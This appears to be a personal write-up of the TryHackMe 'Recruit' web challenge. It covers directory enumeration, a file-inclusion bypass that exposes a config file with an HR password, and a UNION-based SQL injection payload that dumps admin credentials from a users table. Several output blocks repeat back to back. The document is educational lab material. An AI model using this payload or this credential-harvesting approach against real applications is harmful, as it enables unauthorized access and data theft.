July 26, 2026
Recruit — THM Writeup
I’m back lol, this time with a web pentest room — Recruit. Here’s the challenge description:

By aryqmn
4 min read
Recruit has just launched its new recruitment portal, allowing HR staff to manage candidate applications and administrators to oversee hiring decisions. While the platform appears functional, management suspects that security may have been overlooked during development. Your task is to assess the application like a real attacker, mapping its structure, abusing exposed functionality, and exploiting vulnerabilities.
Can you gain an initial foothold, escalate your access, and ultimately log in as the administrator?
It's a part of the Web Vulnerabilities 1 module, under the jr pentest module, so you can imagine, I'm a bit behind on the writeups (:D), anyways let's get on with it.
Recon
Ports 22, 53 and 80, hmm how typical.. Before anything I'd like to enumerate the subdomains, for good fortune of course. Here things got a little buggy so I made a fresh start a few minutes later.
/api.php (Status: 200) [Size: 4151]
/config.php (Status: 200) [Size: 0]
/dashboard.php (Status: 302) [Size: 457] [--> index.php]
/file.php (Status: 200) [Size: 20]
/index.php (Status: 200) [Size: 1417]
/mail (Status: 301) [Size: 315] [--> http://10.128.159.140/mail/]
/phpmyadmin (Status: 301) [Size: 321] [--> http://10.128.159.140/phpmyadmin/]
/sitemap.xml (Status: 200) [Size: 1710]/.htpasswd (Status: 403) [Size: 279]/api.php (Status: 200) [Size: 4151]
/config.php (Status: 200) [Size: 0]
/dashboard.php (Status: 302) [Size: 457] [--> index.php]
/file.php (Status: 200) [Size: 20]
/index.php (Status: 200) [Size: 1417]
/mail (Status: 301) [Size: 315] [--> http://10.128.159.140/mail/]
/phpmyadmin (Status: 301) [Size: 321] [--> http://10.128.159.140/phpmyadmin/]
/sitemap.xml (Status: 200) [Size: 1710]/.htpasswd (Status: 403) [Size: 279]So, /api.php, /file.php, and /mail are the ones I'd like to check first. Also here's what the page looked like.
First Flag
The access api page was interesting-
This screams file inclusion, but before that, back to the things gobuster found.
May 14 09:32:11 recruit-server postfix/smtpd[2143]: connect from hr-workstation.local[10.10.5.23]
May 14 09:32:12 recruit-server postfix/smtpd[2143]: 4F1A2203F: client=hr-workstation.local[10.10.5.23]
May 14 09:32:13 recruit-server postfix/cleanup[2146]: 4F1A2203F: message-id=<20240514093213.4F1A2203F@recruit.local>
May 14 09:32:13 recruit-server postfix/qmgr[1789]: 4F1A2203F: from=<hr@recruit.thm>, size=1824, nrcpt=1 (queue active)
May 14 09:32:14 recruit-server postfix/local[2151]: 4F1A2203F: to=<it-support@recruit.local>, relay=local, delay=0.34, status=sent
------------------------------------------------------------
From: HR Team <hr@recruit.thm>
To: IT Support <it-support@recruit.thm>
Date: Tue, 14 May 2024 09:32:10 +0000
Subject: Recruitment Portal Deployment Confirmation
Hi Team,
Just a quick update to confirm that the new Recruitment Portal
has been deployed successfully and is functioning as expected.
We’ve completed basic validation:
- Login page is accessible
- Candidate dashboard loads correctly
- API documentation page is live
As discussed during deployment:
- HR login credentials (username: hr) are currently stored in the application
configuration file (config.php) for ease of access during
the initial rollout phase.
- Administrator credentials are NOT stored in the application
files and are securely maintained within the backend database.
Please let us know if there are any issues or if further changes
are required.
Thanks,
HR Operations
Recruitment Team
------------------------------------------------------------
May 14 09:32:14 recruit-server postfix/qmgr[1789]: 4F1A2203F: removedMay 14 09:32:11 recruit-server postfix/smtpd[2143]: connect from hr-workstation.local[10.10.5.23]
May 14 09:32:12 recruit-server postfix/smtpd[2143]: 4F1A2203F: client=hr-workstation.local[10.10.5.23]
May 14 09:32:13 recruit-server postfix/cleanup[2146]: 4F1A2203F: message-id=<20240514093213.4F1A2203F@recruit.local>
May 14 09:32:13 recruit-server postfix/qmgr[1789]: 4F1A2203F: from=<hr@recruit.thm>, size=1824, nrcpt=1 (queue active)
May 14 09:32:14 recruit-server postfix/local[2151]: 4F1A2203F: to=<it-support@recruit.local>, relay=local, delay=0.34, status=sent
------------------------------------------------------------
From: HR Team <hr@recruit.thm>
To: IT Support <it-support@recruit.thm>
Date: Tue, 14 May 2024 09:32:10 +0000
Subject: Recruitment Portal Deployment Confirmation
Hi Team,
Just a quick update to confirm that the new Recruitment Portal
has been deployed successfully and is functioning as expected.
We’ve completed basic validation:
- Login page is accessible
- Candidate dashboard loads correctly
- API documentation page is live
As discussed during deployment:
- HR login credentials (username: hr) are currently stored in the application
configuration file (config.php) for ease of access during
the initial rollout phase.
- Administrator credentials are NOT stored in the application
files and are securely maintained within the backend database.
Please let us know if there are any issues or if further changes
are required.
Thanks,
HR Operations
Recruitment Team
------------------------------------------------------------
May 14 09:32:14 recruit-server postfix/qmgr[1789]: 4F1A2203F: removedThe creds for HR are stored in config.php but it returned nothing? Now I started tinkering with the CV endpoint.
Oh. Well, finding the bypass didn't take much long.
<?php
/*
|--------------------------------------------------------------------------
| Application Configuration
|--------------------------------------------------------------------------
*/
$APP_NAME = 'Recruit';
$APP_ENV = 'production';
$APP_VERSION = '1.2.4';
$APP_DEBUG = false;
/*
|--------------------------------------------------------------------------
| HR Credentials (Temporary – Initial Rollout Phase)
|--------------------------------------------------------------------------
| NOTE:
| These credentials are stored here temporarily for ease of access
| during the initial deployment and will be moved to the database
| in a future release.
*/
$HR_PASSWORD = 'hrpassword123';
/*
|--------------------------------------------------------------------------
| API Configuration
|--------------------------------------------------------------------------
*/
$API_ENABLED = true;
$API_VERSION = 'v1';
?><?php
/*
|--------------------------------------------------------------------------
| Application Configuration
|--------------------------------------------------------------------------
*/
$APP_NAME = 'Recruit';
$APP_ENV = 'production';
$APP_VERSION = '1.2.4';
$APP_DEBUG = false;
/*
|--------------------------------------------------------------------------
| HR Credentials (Temporary – Initial Rollout Phase)
|--------------------------------------------------------------------------
| NOTE:
| These credentials are stored here temporarily for ease of access
| during the initial deployment and will be moved to the database
| in a future release.
*/
$HR_PASSWORD = 'hrpassword123';
/*
|--------------------------------------------------------------------------
| API Configuration
|--------------------------------------------------------------------------
*/
$API_ENABLED = true;
$API_VERSION = 'v1';
?>I've got the credentials for the HR account. What would that entail?
We have the first flag, but more importantly we have a search bar hehehe😼. Knowing this module just had an SQLi room, ain't no way that's not it.
Second Flag
I tried different triggers and found that there's 4 columns, so now we start the search for the admin creds. I've been seeing SQLMap in my machine for a long time and I wanted to try it out, but I need more practice for injections. First to find the tables, typically the user table.
Looking into the Users table, there's username password and id, more than enough.
To find the password column. The payload I used was
' union select 1,password,3,username from users-- -' union select 1,password,3,username from users-- -
We now have the admin credentials as well, finishing this off by logging in with the acquired credentials, we receive the second flag.
This was a medium difficulty challenge, but it was fun. It was my first time discovering a file inclusion vulnerability so that was cool. Now that I've dropped two writeups in two days, there's only two possible outcomes:
**1. No writeups OR solves for the rest of the week.
- I keep this up as a habit and drop at least 3 writeups this week.**
I'll flip a coin, let's see.